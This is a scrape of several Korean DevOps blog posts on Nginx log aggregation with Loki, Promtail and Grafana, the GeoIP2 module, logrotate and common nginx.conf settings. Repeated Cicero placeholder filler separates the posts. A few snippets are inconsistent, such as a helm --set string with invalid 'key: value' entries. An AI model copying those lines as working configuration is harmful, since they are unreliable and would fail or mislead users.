• promtail.enabled=false
• Loki의 볼륨은 File System으로 관리 : 운영계일 경우 Loki : S3와 DynamoDB 혹은 Minio 등을 고려할 수 있겠지만 개발계에 로그와 모니터링 시스템을 구성할 예정이기 때문에 큰 상관이 없을 것이라 생각되어 파일 시스템으로 구성하되 최소한의 안전 장치로 PVC를 사용

필자의 구성은 Remote 서버의 Nginx 로그들을 Promtail을 통해서 Loki로 수집을 하고자 합니다. 따라서, 별도로 Cluster에는 Promtail이 필요 없기 때문에 미사용으로 표기를 합니다.

• values 파일 변경

    $ helm upgrade --install loki grafana/loki-stack --create-namespace --namespace=monitoring --set grafana.enabled=false,promtail.enabled=false,loki.config.table_manager.retention_deletes_enabled=true,loki.config.table_manager.retention_period=336h,loki.persistence.enabled=false,loki.config.limits_config.max_query_series=100000,loki.config.frontend.max_outstanding_per_tenant: 4096,loki.config.query_range.parallelise_shardable_queries: true,loki.config.query_scheduler.max_outstanding_requests_per_tenant: 4096,loki.config.split_queries_by_interval: 15m,loki.config.max_query_parallelism: 32

• loki 설정 옵션

grafana.enabled=false,
promtail.enabled=false,

loki.config.table_manager.retention_deletes_enabled=true,
loki.config.table_manager.retention_period=336h,
loki.persistence.enabled=false,

loki.config.limits_config.max_query_series=100000,
loki.config.frontend.max_outstanding_per_tenant: 4096,
loki.config.query_range.parallelise_shardable_queries: true,
loki.config.query_scheduler.max_outstanding_requests_per_tenant: 4096,

loki.config.split_queries_by_interval: 15m,
loki.config.max_query_parallelism: 32

• Nodeport 타입으로 변경

$ kubectl edit svc loki -n monitoring
type : NodePort

• 설치 검증

$ kubectl --namespace=monitoring get services
$ kubectl --namespace=monitoring get pods

3. Promtail 설치

Loki를 설치 했으면, Nginx가 설치되어있는 서버에 Promtail을 설치하여, 로그를 Loki로 전송할 수 있도록 해보겠습니다.

promtail official document

• 설치 버전 : v2.7.3
• binary download

$ mkdir /etc/loki
$ cd /etc/loki
$ wget https://github.com/grafana/loki/releases/download/v2.7.3/promtail-linux-amd64.zip
$ unzip promtail-linux-amd64.zip
$ chmod a+x promtail-linux-amd64
$ rm -rf promtail-linux-amd64.zip
$ mv promtail-linux-amd64 promtail

• 설정 파일 download & 설정

$ wget https://raw.githubusercontent.com/grafana/loki/main/clients/cmd/promtail/promtail-local-config.yaml

server:
  http_listen_port: 9080
  grpc_listen_port: 0

positions:
  filename: /tmp/positions.yaml

clients:
  - url: http://xx.xxx.xx.xxx:32617/loki/api/v1/push

scrape_configs:
- job_name: nginx
  static_configs:
  - targets:
      - localhost
    labels:
      job: nginxlogs
      __path__:  /home1/irteam/apps/nginx-1.20.1/logs/access_log

• service 등록

$ sudo vi /etc/systemd/system/promtail.service

[Unit]
Description=Grafana Loki Promtail
Documentation=https://github.com/grafana/loki
After=network-online.target

[Service]
User=root
Restart=always
ExecStart=/etc/loki/promtail --config.file=/etc/loki/promtail-local-config.yaml

[Install]
WantedBy=multi-user.target

• service 시작

$ systemctl restart promtail
$ systemctl status promtail 

4. 그라파나 설정 및 대시 보드 구성

이제 Loki, Promtail이 모두 구성이 됐으니, 로그는 정상적으로 수집이 될 것입니다. 그러면 Grafana에서 해당 Datasource 연결을 통해서 데이터가 정상적으로 수집이 되는지 확인을 해보도록 하겠습니다.

grafana의 Datasource를 추가해주는 화면에서 Target URL에 Loki의 IP:Nodeport를 입력을 해줍니다. 그렇게 되면, 정상적으로 연동이 됩니다.

• Grafana의 Explorer에서 LokiQL을 통해서 조회

Nginx에서 쌓이는 Access log가 동일하게 Loki에서 정상 수집됨을 확인 할 수 있습니다.

• Grafana의 Dashboard 연동을 통해서 시각화

5. 마치며…

Nginx의 Access 로그는 서비스의 유입점이기 떄문에 굉장히 유용한 정보로 활용 될 수 있습니다. 이에 대한 로그를 빠르게 수집하고 시각화 하여 활용하게 되면 서비스의 안정화 혹은 사업적으로도 가치가 높습니다.

Loki와 Promtail에 대해서 간단하게 적용해 볼 수 있도록 포스팅을 정리해봤습니다. 추후에는 Loki의 쿼리 속도 개선에 대해서 정리를 해보도록 하겠습니다.

6. 참고

• Grafana Loki에 대해 알아보자
• Logging/Grafana Loki 아키텍처 구성
• Loki 실 적용 내역 공유
• Loki – Kubernetes 로깅
• Loki를 이용한 손쉬운 Kubernetes Logging
• [EKS] 아주 가벼운 Loki + Grafana + Promtail 로그 시스템 구성
• Website Analytics based on Nginx, Loki, Promtail, and Grafana
• Native 설치
  • Grafana 외부 서버의 데이터를 가져오기 – NGINX – access.log
  • Grafana loki, promtail
• Promtail 참고
  • Promtail config for syslog and extract labels from nginx logs
  • Tinkering with Loki, Promtail, Grafana, Prometheus, Nginx and Dnsmasq

The post [DevOps] Nginx Log Aggregation & Dashboard appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 Nginx의 dynamic module중 하나인 GeoIP 모듈을 적용해보는 시간을 갖도록 하겠습니다. Nginx의 GeoIP모듈을 통해서 국가단위 혹은 아이피 단위에 대한 제어가 가능해져 굉장히 유용한 모듈입니다.

Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.

• [DevOps] Nginx 컴파일 설치
• [DevOps] ansible nginx config 배포 구성
• [DevOps] Nginx Logrotation 설정
• [DevOps] Nginx GeoIP 모듈 적용
• [DevOps] Nginx Log Aggregation & Dashboard
• [DevOps] Nginx Rate Limit
• [DevOps] Nginx Lua module 사용법

1. Dynamice Module 이란?

Nginx의 module중에서는 default module인 static module과 추가적으로 사용할 수 있는 dynamic module이 있습니다.

$ nginx -V

nginx version: nginx/1.20.1
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.1.1l  24 Aug 2021
TLS SNI support enabled
configure arguments: --prefix=/home/apps/nginx-1.20.1 --user=root --group=root --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_v2_module --with-pcre=/pkgs/pcre-8.44 --with-openssl=/pkgs/openssl-1.1.1l --with-zlib=/pkgs/zlib-1.2.11

2. GeoIP Module 이란?

Nginx에서 국가별 IP를 식별하여, 원하지 않는 국가에서의 접속을 차단할 수 있습니다.

기존에 MaxMind에서 제공했던 Geoip.dat는 19년도를 기준으로 더 이상 지원하지 않으니, maxmind에서 새로 계정을 생성하던, 기존의 계정으로 라이센스키를 받고, nginx에서 새로운 모듈을 컴파일하여 사용해야 합니다.

3. GeoIP Module 설치 방법

신규 Module을 추가할 때에는 기존의 module들도 빼놓지 않고, configure에 추가해야 합니다. 이를 위해 nginx -v 명령어를 사용해 기존의 module을 확인하고 추가할 module을 맨 뒤에 입력해야 합니다.

그럼 본격적으로 GeoIP Module을 설치해보도록 하겠습니다.

libmaxminddb 설치

libmaxminddb 라이브러리는 MaxMind의 GeoIP2 데이터베이스를 포함하여 MaxMind DB 파일을 읽기 위한 C 라이브러리를 제공합니다. 이것은 주소와 관련된 데이터 유형에 큰 유연성을 제공하면서 IP 주소의 빠른 조회를 용이하게 하도록 설계된 사용자 지정 이진 형식입니다.

• 참고 : https://github.com/maxmind/libmaxminddb
• libmaxminddb install ( maxminddb 를 설치하기 위해서 사전에 libmaxminddb 를 설치해야 한다 )

$ git clone --recursive https://github.com/maxmind/libmaxminddb
$ cd libmaxminddb/
$ ./bootstrap
$ ./configure
$ make
$ make install

• environment /usr/local/lib ld config add (라이브러리 추가)

$ vi /etc/ld.so.conf

### add
/usr/local/lib

• ldconfig / library reconnition ( 라이브러리 인식 )

$ ldconfig

GeoIP Database 다운로드

GeoIP의 데이터베이스는 최신파일로 다운로드를 합니다. 갱신되는 파일을 주기적으로 업데이트해 줄 필요가 있으므로 자동으로 업데이트 가능하도록 해야 합니다.

• GeoIP 데이터베이스 다운로드

$ wget https://github.com/maxmind/geoipupdate/releases/download/v3.1.1/geoipupdate-3.1.1.tar.gz
$ tar -zxvf geoipupdate-3.1.1.tar.gz
$ cd geoipupdate-3.1.1
$ ./configure
$ make
$ make install

• GeoIP.conf 설정

GeoIP.conf 파일에 계정 정보와 필요한 에디션을 설치

유료 이용자에게는 GeoIP2와 GeoIP Legacy DB를 지원하고, 무료 이용자에게는 GeoLite2 DB만 지원한다. (유료 이용 라이센스 발급)

$ vi /usr/local/etc/GeoIP.conf

# Paid
AccountID YOUR_ACCOUNT_ID_HERE
LicenseKey YOUR_LICENSE_KEY_HERE
EditionIDs YOUR_EDITION_IDS_HERE


# `AccountID` is from your MaxMind account.
AccountID XXXXXX

# `LicenseKey` is from your MaxMind account
LicenseKey XXXXXX

# `EditionIDs` is from your MaxMind account.
EditionIDs XXXXXX

• GeoIP 데이터 베이스 업데이트

$ /usr/local/bin/geoipupdate

• Crontab 설정

# 원하는 시간에 업데이트 지정
2 22 * * 4 /usr/local/bin/geoipupdate

GeoIP v2 module 다운로드

• 참고 : https://github.com/leev/ngx_http_geoip2_module

ngx_http_geoip2_module – 클라이언트 IP(기본값) 또는 특정 변수(IPv4 및 IPv6 모두 지원)를 기반으로 하는 maxmind geoip2 데이터베이스의 값으로 변수를 생성합니다.

이 모듈은 이제 nginx 스트림을 지원하며 http 모듈을 사용할 수 있는 것과 동일한 방식으로 사용할 수 있습니다.

$ git clone https://github.com/leev/ngx_http_geoip2_module.git

# nginx 재컴파일 과정에 포함
# 실제 작업시에는 기존에 있던 모듈도 포함해야 합니다. 
$ ./configure --add-dynamic-module=/path/to/ngx_http_geoip2_module
$ make
$ make install

Nginx Re-compile

NGINX_VERSION=1.20.1
PCRE_VERSION=8.44
OPENSSL_VERSION=1.1.1l
ZLIB_VERSION=1.2.11
NGINX_PATH=/home1/irteam/apps/nginx-${NGINX_VERSION}

$ ./configure --prefix=${NGINX_PATH} \
    --user=irteamsu --group=irteamsu \
    --with-http_ssl_module \
    --with-http_stub_status_module \
    --with-http_realip_module \
    --with-http_v2_module \
    --add-dynamic-module=/pkgs/ngx_http_geoip2_module \
    --with-pcre=/pkgs/pcre-${PCRE_VERSION} \
    --with-openssl=/pkgs/openssl-${OPENSSL_VERSION} \
    --with-zlib=/pkgs/zlib-${ZLIB_VERSION}

$ make
$ make install

#완료 후, nginx binary update
$ cp /home1/irteam/apps/nginx-1.20.1/sbin/nginx /usr/bin

4. GeoIP Module 설정 적용

위의 과정이 모두 완료 되었다면, 실제로 Nginx 설정에 GeoIP Module을 적용하는 내용입니다.

Module 로딩

pid /run/nginx.pid;
worker_processes        4; # number of CPU cores
worker_rlimit_nofile    20000; # sockets, fds per worker process

#load_module을 통해서 geoip2 module을 로드합니다
load_module modules/ngx_http_geoip2_module.so;

events {
    worker_connections  3000;
}

mmdb 매핑

http {
    ...
    geoip2 /usr/local/share/GeoIP/GeoLite2-Country.mmdb {
        auto_reload 5m;
        $geoip2_metadata_country_build metadata build_epoch;
        $geoip2_data_country_code country iso_code;
        $geoip2_data_country_name country names en;
    }

    geoip2 /usr/local/share/GeoIP/GeoLite2-City.mmdb {
        $geoip2_metadata_city_build metadata build_epoch;
        $geoip2_data_city_name city names en;
    }
    ....

    fastcgi_param COUNTRY_CODE $geoip2_data_country_code;
    fastcgi_param COUNTRY_NAME $geoip2_data_country_name;
    fastcgi_param CITY_NAME    $geoip2_data_city_name;
    ....
}

국가 차단 설정

GeoIP Module을 통해서 국가 단위의 차단을 수행 할 수 있습니다. GeoIP Module을 통과하게 되면, Client IP의 국가 및 도시등의 정보를 수집할 수 있습니다.

map $geoip2_data_country_code $domain_allowed_country {
    default yes;
    KR no;
}
....
location / {
    if ($domain_allowed_country = no) {
        return 444;
    }
}

5. 마치며…

Nginx GeoIP Module을 통해서 국가에 대한 접근을 Nginx Layer에서 확인을 할 수 있게 되었습니다. 아이피를 통한 국가 정보 및 도시 정보까지 추출이 가능하여 국가 단위의 차단도 가능해졌습니다. 국가 정보를 통해서 비지니스에서 활용도 할 수 있게 되었고, 개발팀에게 주요한 정보를 주어 비지니스 상에서도 활용을 할 수도 있게 되었습니다.

6. 참고

• GeoIP v2
  • [Nginx] Adding Dynamic Module
  • maxminddb apache module install
  • Nginx GeoIP2를 이용하여 불량한 접속국가 막는 방법
• GeoIP v1
  • nginx 에서 특정 국가를 차단하는 방법

The post [DevOps] Nginx GeoIP 모듈 적용 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

안녕하세요? 정리하는 개발자 워니즈 입니다. 웹 서버를 운영하다보면, 로그 파일들이 무분별하게 쌓이는 문제가 있습니다. 이를 정리하기 위해서는 logrotation이라는 프로그램을 이용해야 하는데요. logrotation을 어떻게 설정하고 어떤식으로 활용하는지에 대해서 정리를 해보도록 하겠습니다.

Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.

• [DevOps] Nginx 컴파일 설치
• [DevOps] ansible nginx config 배포 구성
• [DevOps] Nginx Logrotation 설정
• [DevOps] Nginx GeoIP 모듈 적용
• [DevOps] Nginx Log Aggregation & Dashboard
• [DevOps] Nginx Rate Limit
• [DevOps] Nginx Lua module 사용법

1. Logrotation 이란?

간단하게 리눅스에서 사용할 수 있는 프로그램.

Logrotatefㅡㄹ 사용하면 특정 폴더에 쌓이는 로그를 날짜 별로 나누어서 관리를 할 수 있으며, 기준을 정하면 해당일 이전 로그는 삭제하여 시스템 용량을 낭비하지 않을 수 있습니다.

Logrotate 구조

• /etc/logrotate.conf : 로그 로테이트의 기본 설정 파일

  기본 설정 : log는 주 단위로 백업 -> 4주동안 보관

  # see "man logrotate" for details
  # rotate log files weekly
  weekly
  
  # keep 4 weeks worth of backlogs
  rotate 4
  
  # create new (empty) log files after rotating old ones
  create
  
  # use date as a suffix of the rotated file
  dateext
  
  # uncomment this if you want your log files compressed
  #compress
  
  # RPM packages drop log rotation information into this directory
  include /etc/logrotate.d
  
  # no packages own wtmp and btmp -- we'll rotate them here
  /var/log/wtmp {
    monthly
    create 0664 root utmp
        minsize 1M
    rotate 1
  }
  
  /var/log/btmp {
    missingok
    monthly
    create 0600 root utmp
    rotate 1
  }
  
  # system-specific logs may be also be configured here.
  

• /etc/logrotate.d/ : 로그 로테이트의 개별 설정 파일이 들어있는 폴더

  ## syslog 예시
  /var/log/cron
  /var/log/maillog
  /var/log/messages
  /var/log/secure
  /var/log/spooler
  {
    missingok
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
  }
  
  ## custom 예시
  ## test.txt를 rotation할시에 data.json파일도 강제적으로 날짜별 copy를 수행
  /home1/test/apps/devops/logs/test.txt {
    daily
      missingok
    copytruncate
    dateext
    notifempty
    postrotate
        cp -p /home1/test/apps/devops/logs/data.json /home1/test/apps/devops/logs/data.json-`date +%Y%m%d.%H%M%S`
    endscript
  }
  

• /etc/cron.daily/logrotate : 로그 로테이트 작업 내역 로그

2. Logrotation 설정 방법

필자는 nginx log에 대해서 rotation설정을 진행했습니다.

• nginx logrotation 설정

/apps/nginx-1.20.1/logs/access_log {
        daily
        missingok
        rotate 7
        compress
        delaycompress
        notifempty
        create 640 root root
        sharedscripts
        postrotate
                if [ -f /var/run/nginx.pid ]; then
                        kill -USR1 `cat /var/run/nginx.pid`
                fi
        endscript
}

1️⃣ 로그 정리 대상 파일 : /apps/nginx-1.20.1/logs/access_log
2️⃣ daily : daily(매일), weekly(매주), monthly(매달), yearly(매년) 순환
3️⃣ missingok : 로그파일이 없을 경우에도 에러로 처리하지 않음
4️⃣ rotate 7 : rotate 파일 갯 수
5️⃣ compress : 순환된 로그파일 압축(gz)
6️⃣ delaycompress : 최근파일 외 전부 압축
7️⃣ notifempty : 로그파일이 제로인 경우 rotation하지 않음
8️⃣ sharedscripts : prerotate, postrotate 스크립트를 한번만 실행
9️⃣ postrotate : 로그파일 분할 후 실행할 script 지정 ( nginx 의 경우 SIGUSR1 을 받으면 로그 파일을 새로 읽으므로 새로 만들어진 로그 파일에 로그를 기록합니다. )
🔟 copytruncate : 대부분의 어플리케이션들은 SIGTERM을 받으면, 로그파일을 새로 만듭니다. copytruncate를 이용하면 원본파일을 지우지 않고, truncate(파일 크기를 0으로 만든다)한다.

3. Logrotation 설정 테스트

로그 로테이션 설정을 진행하고나서 설정 테스트를 하기 위해서는 아래와 같이 테스트를 진행합니다.

logrotate -d -f /etc/logrotate.d/nginx

• -d, –debug : 디버그 모드, 실제 로그 파일을 변경하지는 않고 처리 과정만 표시합니다.

참고

• nginx log를 rotate 해서 일자별로 관리(logrotate)
• logrotate이용하여 nginx 로그파일 분할관리하기
• logrotate를 이용한 로그 파일 관리
• 로그관리 Logrotate

The post [DevOps] Nginx Logrotation 설정 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

1. nginx.conf 설정

worker_process

worker_processes        4; # number of CPU cores

worker_rlimit_nofile

worker_rlimit_nofile    20000; # sockets, fds per worker process

events 블록 – worker_connections

events {
    worker_connections  3000; # total supported connection : 4 x 3000 = 12000
}

2. http 블록

Include & default_type

include       mime.types;
default_type  application/octet-stream;

keepalive

keepalive_timeout   30s;
keepalive_requests  128; 

client_body_timeout

# timeout for client
client_body_timeout     3s;
client_header_timeout   3s;
client_max_body_size    1m;

send_timeout

send_timeout            3s;

3. Server 블록

server

server {
    listen 80;
    server_name test.store.com;
    rewrite ^(.*) https://test.store.com$1 permanent;
}

Location 우선순위

Header Setting

        location / {
...
...
            add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate";
        }

Access Control

location ~ ^/internal-api/v1/circuit-breaker/(turn-off|turn-on)$ {
            if ($request_method != POST ) {
                    return 405;
            }
            allow 10.XXX.XX.X/32;
            deny all;
}

Rewrite

location /test/api {
    rewrite ^/test/api(/.*)$ $1 break; // "/test/api를 제외한 URI로 전달"
    proxy_pass https://lan3rd.line.me;
    proxy_next_upstream error timeout;
    proxy_redirect off;
    proxy_connect_timeout 2s;

    proxy_set_header Host $http_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}  

Return

server {
    listen 80;
    server_name .test.com;
    location / {
        return 301 https://$host$request_uri;
    }
}

Proxy_set_header

        location / {
            proxy_pass http://test_upstream;
            proxy_next_upstream error timeout;
            proxy_redirect off;
            proxy_connect_timeout 2s;

            proxy_set_header Host $http_host;
            proxy_set_header X-Real-IP $remote_addr;

            proxy_set_header X-Forwarded-Proto https;
            proxy_set_header X-Forwarded-Server $host;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_http_version 1.1;
            proxy_set_header Connection "";

            proxy_hide_header x-envoy-decorator-operation;
            proxy_hide_header x-envoy-upstream-service-time;

            add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate";
        }

4. 마치며..

함께 보면 좋은 글

• [DevOps] Nginx Configuration 정리
• [DevOps] Rinetd를 활용한 portforward
• [DevOps] Nginx Logrotation 설정
• [DevOps] Nginx Lua module 사용법

The post [DevOps] 주로 사용하는 Nginx 설정 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
